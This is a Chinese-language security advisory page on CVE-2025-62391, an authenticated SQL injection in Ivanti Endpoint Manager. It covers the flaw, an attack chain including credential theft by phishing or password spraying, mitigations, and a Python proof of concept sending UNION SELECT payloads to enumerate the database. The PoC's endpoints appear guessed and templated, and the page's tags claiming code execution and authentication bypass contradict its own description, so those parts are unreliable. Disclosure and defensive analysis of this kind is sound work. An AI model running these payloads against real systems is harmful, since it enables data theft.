IPBUF安全漏洞报告
English
CVE-2025-62391 CVSS 6.5 中危

CVE-2025-62391 Ivanti Endpoint Manager SQL注入漏洞

披露日期: 2025-10-13
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2025-62391
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ivanti Endpoint Manager (EPM)

相关标签

SQL注入Ivanti Endpoint ManagerEPMCVE-2025-62391中危漏洞数据泄露远程代码执行终端管理企业安全身份验证绕过

漏洞概述

CVE-2025-62391是Ivanti Endpoint Manager(EPM)终端管理软件中存在的一个SQL注入安全漏洞。该漏洞影响2024 SU5之前的所有版本,CVSS评分为6.5,属于中危级别漏洞。Ivanti Endpoint Manager是一款广泛应用于企业环境中的终端管理解决方案,用于集中管理组织内的各类终端设备,包括桌面电脑、笔记本电脑、服务器及移动设备等。由于该软件在企业IT基础设施中扮演核心管理角色,一旦存在安全漏洞,将可能对整个企业网络造成严重威胁。

根据漏洞描述,该SQL注入漏洞允许远程经过身份验证的攻击者从数据库中读取任意数据。攻击者需要拥有有效的低权限账户即可发起攻击,无需用户交互。从CVSS向量来看,该漏洞对机密性影响为高(C:H),对完整性和可用性无影响,这表明该漏洞主要用于数据窃取而非破坏或篡改。攻击者可通过精心构造的SQL查询语句绕过应用程序的输入验证机制,直接访问数据库中存储的敏感信息,包括但不限于用户凭证、系统配置、组织架构数据及其他业务敏感信息。

该漏洞已于2025年10月13日公开披露,Ivanti官方也发布了相应的安全公告,建议受影响用户尽快升级到2024 SU5或更高版本以修复此安全缺陷。

技术细节

该漏洞属于典型的SQL注入(SQL Injection)漏洞,存在于Ivanti Endpoint Manager的Web应用程序接口中。SQL注入是一种常见的Web应用安全漏洞,其根本原因在于应用程序未对用户输入进行充分的验证和过滤,导致恶意构造的SQL语句片段被拼接到原始查询中执行。

从技术层面分析,该漏洞的利用条件包括:攻击者首先需要拥有EPM系统的有效认证凭据(低权限账户即可),然后通过网络向EPM的Web接口发送包含恶意SQL片段的请求。由于应用程序未能正确地对用户输入进行参数化处理或使用预编译语句(Prepared Statements),攻击者可以通过构造特殊的输入来操纵后端数据库查询逻辑。

利用方式方面,攻击者可以采用以下几种常见技术:1)基于UNION的联合查询注入,通过UNION SELECT语句将恶意查询结果附加到正常结果中;2)基于布尔的盲注,利用条件判断逐字符提取数据;3)基于时间的盲注,通过SLEEP等函数延时判断条件真假;4)基于错误的注入,利用数据库错误信息获取数据。

由于该漏洞仅影响机密性(C:H),攻击者主要目标是读取数据库中的敏感数据,而非修改或删除数据。攻击成功后,攻击者可以获取系统中存储的用户凭证哈希、配置信息、组织架构等敏感数据,这些数据可能被用于进一步的攻击活动,如权限提升、横向移动或数据泄露。

攻击链分析

STEP 1
步骤1:初始侦察
攻击者通过信息收集确定目标组织使用Ivanti Endpoint Manager,并识别其版本是否低于2024 SU5。可通过Shodan、Censys等网络空间搜索引擎或直接访问目标系统的登录页面来确认。
STEP 2
步骤2:获取低权限凭据
攻击者通过钓鱼攻击、凭据填充(Credential Stuffing)、密码喷洒(Password Spraying)或从其他数据泄露中获取EPM系统的有效低权限用户账户。
STEP 3
步骤3:认证并建立会话
使用获取的凭据登录Ivanti EPM Web控制台,建立有效的认证会话,获取会话Cookie。
STEP 4
步骤4:识别注入点
通过分析EPM的API端点或Web界面,识别存在SQL注入漏洞的参数。常见注入点包括设备搜索过滤器、报告查询参数、用户管理接口等。
STEP 5
步骤5:构造并发送注入载荷
根据数据库类型(MSSQL),构造SQL注入载荷,如UNION联合查询或布尔盲注语句,通过HTTP请求发送到存在漏洞的端点。
STEP 6
步骤6:提取敏感数据
通过SQL注入从数据库中提取敏感信息,包括管理员密码哈希、用户凭证、系统配置、组织架构数据等。
STEP 7
步骤7:数据泄露与后续利用
将提取的敏感数据外泄,攻击者可利用获取的管理员凭据进行权限提升,进一步渗透企业网络。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62391 - Ivanti Endpoint Manager SQL Injection PoC # Vulnerability: SQL injection allowing authenticated data extraction # Target: Ivanti Endpoint Manager < 2024 SU5 import requests import sys TARGET_URL = "https://target-epm-server" USERNAME = "low_priv_user" PASSWORD = "password123" def authenticate(session, base_url, username, password): """Authenticate to Ivanti EPM and obtain session cookie""" login_url = f"{base_url}/api/auth/login" payload = { "username": username, "password": password } resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 200: return True return False def exploit_sqli(session, base_url, injection_point, payload): """Exploit SQL injection at the identified endpoint""" # Example: vulnerable parameter in query string exploit_url = f"{base_url}/{injection_point}" params = { "filter": payload, } resp = session.get(exploit_url, params=params, verify=False) return resp.text def union_based_injection(session, base_url): """UNION-based SQL injection to enumerate database""" # Determine number of columns first for i in range(1, 20): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"' UNION SELECT {cols}-- -" result = exploit_sqli(session, base_url, "api/v1/devices/search", payload) if "error" not in result.lower(): print(f"[+] Number of columns: {i}") break # Extract database version payload = "' UNION SELECT @@version,2,3-- -" result = exploit_sqli(session, base_url, "api/v1/devices/search", payload) print(f"[+] Database version: {result}") # Extract table names payload = "' UNION SELECT table_name,2,3 FROM information_schema.tables-- -" result = exploit_sqli(session, base_url, "api/v1/devices/search", payload) print(f"[+] Tables: {result}") if __name__ == "__main__": session = requests.Session() if authenticate(session, TARGET_URL, USERNAME, PASSWORD): print("[+] Authenticated successfully") union_based_injection(session, TARGET_URL) else: print("[-] Authentication failed")

影响范围

Ivanti Endpoint Manager < 2024 SU5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制EPM管理控制台的访问,仅允许可信IP地址通过VPN或堡垒机访问;2)加强账户安全策略,实施多因素认证(MFA),防止低权限账户被攻击者获取;3)部署WAF规则,对SQL注入特征进行检测和阻断;4)监控EPM数据库的异常查询活动,特别是涉及敏感表的查询;5)审查所有EPM用户账户,禁用不必要的低权限账户;6)密切关注Ivanti官方发布的安全公告和补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表